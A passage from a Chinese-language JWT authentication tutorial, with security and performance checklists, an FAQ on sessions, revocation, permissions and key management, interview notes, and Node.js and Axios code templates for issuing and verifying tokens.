  • [ ] 实现 Token 刷新机制:使用 Refresh Token
  • [ ] 添加 Token 黑名单:支持用户登出后立即失效
  • [ ] 验证算法类型:防止算法替换攻击
  • [ ] 限制 Token 用途:使用 aud 字段指定受众

# 💻 开发最佳实践

  • [ ] 使用环境变量存储密钥:绝不硬编码
  • [ ] 统一的错误处理:不泄露敏感信息
  • [ ] 日志记录:记录认证失败但不记录 Token
  • [ ] 速率限制:防止暴力破解
  • [ ] 版本控制:在 Token 中加入版本号便于升级
  • [ ] 文档完善:明确标注哪些字段是必须的

# 🚀 性能优化

  • [ ] 精简 Payload:只存必要信息
  • [ ] 使用压缩算法:如果 Token 过大
  • [ ] 缓存验证结果:短时间内相同 Token 无需重复验证
  • [ ] 选择合适算法:HS256 性能优于 RS256

# 十二、常见问题 FAQ

# Q1: JWT 和 Session 应该选哪个?

选择建议

场景 推荐方案
传统单体应用 Session
前后端分离 JWT
微服务架构 JWT
移动端 APP JWT
需要跨域 JWT
高安全要求内部系统 Session

# Q2: Token 被劫持了怎么办?

应急方案

  1. 立即将该 Token 加入黑名单
  2. 强制用户重新登录
  3. 检查日志追踪攻击来源
  4. 通知用户修改密码

预防措施

  • 使用 HTTPS
  • 缩短 Token 有效期
  • 绑定用户 IP 或设备指纹
  • 实现异常检测(异地登录提醒)

# Q3: 如何实现权限管理?

方案:在 Payload 中添加角色和权限

const token = jwt.sign({
  sub: userId,
  role: 'admin',
  permissions: ['user:read', 'user:write', 'post:delete']
}, secret);

// 中间件验证权限
function requirePermission(permission) {
  return (req, res, next) => {
    if (!req.user.permissions.includes(permission)) {
      return res.status(403).json({ error: '权限不足' });
    }
    next();
  };
}

// 使用
app.delete('/api/post/:id', 
  authMiddleware, 
  requirePermission('post:delete'),
  deletePost
);

# Q4: 多设备登录怎么处理?

方案 A:允许同时在线

  • 每个设备生成不同的 Token
  • Token 中记录设备信息
const token = jwt.sign({
  sub: userId,
  deviceId: generateDeviceId(),
  deviceType: 'mobile'  // 或 'desktop', 'tablet'
}, secret);

方案 B:单点登录(互斥)

  • 同一用户只允许一个 Token 有效
  • 新登录使旧 Token 失效
// 登录时将旧 Token 加入黑名单
const oldToken = await getUserToken(userId);
if (oldToken) {
  await blacklist.add(oldToken);
}

# Q5: 分布式环境下密钥如何管理?

方案 A:共享密钥(推荐)

  • 所有服务使用相同密钥
  • 通过配置中心统一管理
# Kubernetes ConfigMap
apiVersion: v1
kind: ConfigMap
metadata:
  name: jwt-config
data:
  JWT_SECRET: "shared-secret-key"

方案 B:非对称加密

  • 认证服务持有私钥
  • 其他服务持有公钥验证
// 认证服务生成
const privateKey = fs.readFileSync('private.key');
const token = jwt.sign(payload, privateKey, { algorithm: 'RS256' });

// 其他服务验证
const publicKey = fs.readFileSync('public.key');
jwt.verify(token, publicKey, { algorithms: ['RS256'] });

# Q6: 如何处理 Token 过期?

优雅的处理流程

// 前端自动刷新
axios.interceptors.response.use(
  response => response,
  async error => {
    if (error.response?.status === 401) {
      try {
        // 尝试刷新
        const { data } = await axios.post('/refresh', {
          refreshToken: localStorage.getItem('refresh_token')
        });
        
        localStorage.setItem('access_token', data.token);
        
        // 重试原请求
        error.config.headers.Authorization = `Bearer ${data.token}`;
        return axios(error.config);
        
      } catch (refreshError) {
        // 刷新失败,跳转登录
        localStorage.removeItem('access_token');
        localStorage.removeItem('refresh_token');
        window.location.href = '/login';
        return Promise.reject(refreshError);
      }
    }
    return Promise.reject(error);
  }
);

# Q7: JWT 可以取消吗?

JWT 本身无法取消,但可以通过以下方式实现:

  1. 黑名单机制(推荐)

    // 登出时加入 Redis 黑名单
    await redis.setex(`blacklist:${token}`, remainingTime, '1');
    
  2. 短期 Token + 频繁验证

    • 设置很短的过期时间(15 分钟)
    • 过期后自动刷新
  3. 版本控制

    • 在 Payload 中加入 version 字段
    • 修改密钥或检查版本号


# 十三、极简总结(面试必备)

# 🎯 核心知识点

JWT 是什么

JSON Web Token,一段带数字签名的令牌字符串,用于安全地传递身份信息。

三大组成部分

  1. Header:算法和类型
  2. Payload:用户数据和声明
  3. Signature:防篡改签名

核心原理

登录成功后服务端生成 JWT,之后每次请求都带上它,服务端验证签名确认身份。

四大特点

  • ✅ 无状态
  • ✅ 跨域友好
  • ✅ 自包含
  • ✅ 轻量级

五个注意事项

  1. ⚠️ 不存敏感信息
  2. ⚠️ 必须设置过期时间
  3. ⚠️ 密钥要妥善保管
  4. ⚠️ 必须使用 HTTPS
  5. ⚠️ 防范 XSS 和 CSRF

# 💡 面试高频问题

Q: JWT 有什么优缺点?

  • 优点:无状态、跨域、自包含、性能好、通用
  • 缺点:无法主动失效、体积大、不能存敏感信息

Q: JWT 如何保证安全?

  1. 使用强密钥 + HTTPS
  2. 设置短过期时间
  3. Payload 不存敏感信息
  4. 防范 XSS/CSRF 攻击
  5. 实现 Token 刷新和黑名单机制

Q: JWT 和 Session 的区别?

维度 Session JWT
存储位置 服务端 客户端
扩展性 差(需共享) 好(无状态)
跨域 困难 天然支持
性能 需查存储 仅验证签名
安全 依赖 Cookie 需防 XSS/CSRF

# 📝 快速上手模板

后端(Node.js)

const jwt = require('jsonwebtoken');

// 生成 Token
const token = jwt.sign(
  { sub: userId, username: 'xxx' },
  process.env.JWT_SECRET,
  { expiresIn: '2h' }
);

// 验证中间件
function auth(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  try {
    req.user = jwt.verify(token, process.env.JWT_SECRET);
    next();
  } catch {
    res.status(401).json({ error: '认证失败' });
  }
}

前端(Vue/React)

// 登录
const { data } = await axios.post('/login', { username, password });
localStorage.setItem('token', data.token);

// 请求拦截器
axios.interceptors.request.use(config => {
  const token = localStorage.getItem('token');
  if (token) {
    config.headers.Authorization = `Bearer ${token}`;
  }
  return config;
});

# 🔗 延伸学习

官方文档

  • RFC 7519: https://tools.ietf.org/html/rfc7519
  • JWT.io: https://jwt.io

推荐文章

  • 《JSON Web Tokens》官方文档
  • 《Authentication vs Authorization》
  • 《OAuth 2.0 与 JWT 结合使用》

开源项目参考

  • Node.js: https://github.com/auth0/node-jsonwebtoken
  • Python: https://github.com/jpadilla/pyjwt
  • Java: https://github.com/jwtk/jjwt

最后提醒

JWT 是强大的工具,但要用得安全!始终记住:不在 Payload 存敏感信息、设置过期时间、保护好密钥、使用 HTTPS

本章目录